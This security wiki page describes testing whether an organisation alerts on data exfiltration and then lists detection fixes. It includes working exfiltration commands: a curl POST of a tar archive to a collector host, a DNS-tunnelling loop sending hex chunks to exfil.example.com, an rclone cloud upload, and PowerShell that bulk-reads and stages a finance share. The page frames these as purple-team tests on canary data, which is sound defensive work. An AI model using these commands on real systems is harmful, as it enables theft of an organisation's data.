Haxoris Wiki

Missing Data Exfiltration Alerting

How Missing Data Exfiltration Alerting works

Missing data exfiltration alerting is egress that leaves the estate without tripping a volume, destination or anomaly alert. Detection here is not one product but a layered set: DLP inspecting content, the egress proxy classifying destinations, NetFlow or firewall analytics watching byte counts and connection shapes, and behavioural rules for abnormal hours or unusual share access. A gap in any layer means a channel is open - HTTPS to an unknown host, data smuggled in DNS queries, or an upload to consumer cloud storage.

The attacker gains the last step of the kill chain for free: staging and moving the objective out. It is easy to miss because egress looks like ordinary work - browsers make HTTPS connections, hosts make DNS queries, and staff use cloud storage all day. Without a baseline of normal volume, destination and timing, a large marked transfer at 03:00 to a never-before-seen endpoint is indistinguishable from routine traffic. The test stages benign, marked canary data and checks which layer, if any, reacts.

Missing Data Exfiltration Alerting in practice

Stage marked canary data

Use only benign, clearly marked test data so the transfer is safe and unmistakable in logs. A canary token that beacons when opened doubles as an independent tripwire.

# Generate marked, benign test files - no real data leaves the estate
mkdir -p /tmp/canary && cd /tmp/canary
for i in $(seq 1 50); do
  head -c 1M /dev/urandom | base64 > "CANARY-4471-part-$i.txt"
done
# Tag every file so DLP content rules have something unambiguous to catch
sed -i '1s/^/DLP-CANARY-4471 CONFIDENTIAL-TEST-DO-NOT-BLOCK-EVIDENCE\n/' *.txt
du -sh /tmp/canary   # ~50MB, large enough to test volume thresholds

Transfer over multiple channels

Move the same marked set over three different egress paths to a lab collector. Each path tests a different detection layer.

# Channel A - HTTPS POST to a lab collector (tests proxy + DLP + volume)
tar czf - /tmp/canary | curl -s -X POST --data-binary @- \
  https://collector.example.com/upload

# Channel B - DNS exfiltration (tests DNS analytics; chunks in subdomain labels)
xxd -p /tmp/canary/CANARY-4471-part-1.txt | fold -w32 | while read c; do
  dig +short "$c.exfil.example.com" @10.10.30.53 >/dev/null
done

# Channel C - consumer cloud storage to a lab bucket (tests destination class)
rclone copy /tmp/canary labtest:exfil-canary-bucket --transfers 8

Add abnormal-hours and abnormal-share access

Volume alone is not the only signal. Trip the behavioural rules by accessing shares the identity never touches, out of hours.

# Access a share this test account never normally reads, at 03:00 (scheduled)
$cred = Get-Credential LAB\svc-purple-test
New-PSDrive -Name Z -PSProvider FileSystem -Root \\FILE02\Finance -Credential $cred
Get-ChildItem -Recurse Z:\ | Measure-Object -Property Length -Sum   # bulk read
Copy-Item Z:\*.xlsx C:\Temp\stage\ -Recurse                          # bulk stage
# Expect: 5140/5145 detailed file-share access + anomaly on hour and volume

Reconcile against DLP, proxy and NetFlow

Join the transfer timeline to each detection layer. A channel with no reaction is the finding, named per layer.

Channel / behaviour        Bytes    Layer expected        Alerted?   Verdict
-------------------------  -------  --------------------  ---------  --------------------
A  HTTPS POST              50 MB    Proxy dest + DLP      no         Unknown host not flagged
B  DNS tunnelling          ~1 MB    DNS analytics         no         No query-rate/entropy rule
C  Cloud storage upload    50 MB    Proxy destination     yes        Blocked (rclone UA + bucket)
D  Off-hours share bulk    50 MB    Behavioural anomaly   no         No hour/volume baseline
E  Abnormal share access   -        4145/5145 correlation  yes        Detected (MTTD 11m)

Channels A, B and D are open exfiltration paths; the cloud upload and the share-access correlation were the only layers that reacted.

How to fix and prevent Missing Data Exfiltration Alerting

  1. Baseline egress volume and destinations per host and identity
    • Alert on byte counts and connection counts that exceed a host’s own baseline, and on first-seen external destinations; static thresholds miss slow-and-low transfers.
  2. Detect DNS as a data channel
    • Alert on high query rates to one zone, long or high-entropy subdomain labels, and TXT/NULL record volume; DNS is the layer most often left uninspected.
  3. Classify and restrict cloud-storage destinations
    • Force egress through the proxy, allow only sanctioned storage tenants, and alert on consumer buckets and known sync-client user agents.
  4. Correlate share access with egress
    • Enable detailed file-share auditing (5140/5145) and alert when bulk reads of an unusual share are followed by outbound transfer, especially out of hours.
  5. Re-run the marked staging on a schedule
    • Keep the canary transfer as a recurring test across all three channels; a channel that stops alerting is a regression, and canary tokens give an independent second signal.

Last updated

References